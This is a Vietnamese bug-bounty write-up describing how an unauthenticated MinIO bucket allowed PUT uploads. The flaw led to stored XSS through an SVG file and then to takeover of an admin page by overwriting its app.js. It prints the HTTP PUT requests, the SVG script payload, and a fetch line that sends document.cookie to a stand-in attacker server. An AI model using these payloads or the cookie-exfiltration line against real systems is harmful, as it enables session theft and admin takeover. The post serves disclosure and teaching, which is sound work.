"Có bao giờ bạn upload một file SVG để test XSS, và cuối cùng lại chiếm luôn quyền điều khiển của admin page? Mình thì có."
Khởi Đầu Từ Một File SVG Vô Tội...
Chuyện bắt đầu cũng khá là "tình cờ và bất ngờ" khi mình và ngosytuan đang lướt qua mấy endpoint trên sub.redacted.com. Vừa bấm bấm vài cái, ngosytuan phát hiện ra rằng, trang này cho phép PUT để upload file tuỳ ý. Nghe có vẻ bình thường đúng không? Nhưng không! Một lỗi cấu hình nhỏ đã mở ra cánh cửa thần kỳ để mình có thể PUT file lên thẳng MinIO mà không cần phải chứng thực (authentication).
Kịch Bản Upload Đầy Thú Vị
Mình quyết định thử upload một file .svg
lên, bởi SVG cho phép chứa JavaScript chạy ngay trong trình duyệt. Và kết quả là, sau khi mình PUT file với request đơn giản này:
PUT /shop/poc.svg HTTP/1.1
Host: sub.redacted.com
Content-Type: image/svg+xml
Content-Length: 447 <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert('XSS'); </script>
</svg>
Mình mở trình duyệt, gõ đường dẫn /shop/poc.svg
, và bùm — thông báo "XSS" bật lên như chào mừng mình đến với miền đất hứa. 😎
Nhưng Câu Chuyện Chưa Dừng Ở Đó...
Bản thân Stored XSS này đã là một điều thú vị. Hai anh em quyết định report lấy bug trước. Nhưng lúc đó mình tự hỏi, thế tại sao upload được svg lead to XSS rồi mà không làm gì nhiều hơn, ví dụ như RCE chẳng hạn. Sau khi lục lọi thêm một chút, mình phát hiện ra các file JS của trang Admin Page cũng đang nằm chễm chệ trên cái bucket đó.
Và... nó cũng cho phép mình PUT mà không cần một dòng auth nào. 💀
Bẻ Lái Sang Takeover Admin Page
Tìm thấy các file JS tại đường dẫn /shop/bundles/administration/static/js/app.js
, mình nghĩ bụng: "Không lẽ nào...?" Và như một phản xạ tự nhiên của bug hunter, mình làm ngay một request PUT:
PUT /shop/bundles/administration/static/js/app.js HTTP/1.1
Host: sub.redacted
Content-Type: text/javascript
Content-Length: 30 <script>alert('Admin takeover!');</script>
Mình refresh trang admin và Bùm, alert xuất hiện đúng như mong đợi.
Nhưng vậy là chưa đủ! Mình quyết định nâng cấp payload thành một chút "tinh tế" hơn:
// app.js - phiên bản nâng cấp
fetch("https://my-evil-server.com/steal?cookie=" + document.cookie);
Khi admin truy cập vào trang này, script được load và... cookie đã bay về server của mình. Giờ thì, mình có thể chiếm quyền admin, gửi yêu cầu CSRF, hoặc thậm chí cài keylogger nếu mình muốn!
Kết Quả Là...
Hia anh em submit tiếp bug thứ 2 với mức độ là Critical. Không lâu sau đó, phía bên ứng dụng phát hiện hành vi đáng ngờ (mình đoán là do một số hành động lạ của admin bị log lại 😂). Mình submit báo cáo với đầy đủ thông tin, mô tả chi tiết từng bước khai thác. Kết quả là họ đã phải vá lại cấu hình MinIO và khóa quyền PUT đối với các endpoint quan trọng.
Bài Học Rút Ra?
- Đừng để MinIO của bạn mở cửa không khóa.
- Đừng upload SVG mà không kiểm tra kỹ. (Vì có thể là 2 bug đều được accepted, bug này nhiều hơn bug kia)
- Đừng để file JS của admin page nằm lung tung trên bucket public!
Chuyến phiêu lưu lần này không chỉ là một bài học mà còn là một trải nghiệm cực kỳ thú vị về cách "một lỗi nhỏ kéo theo cả chuỗi vấn đề lớn". Và bạn biết không, đôi khi chỉ cần một file SVG cũng đủ để bạn bước chân vào "vùng đất hứa". 😎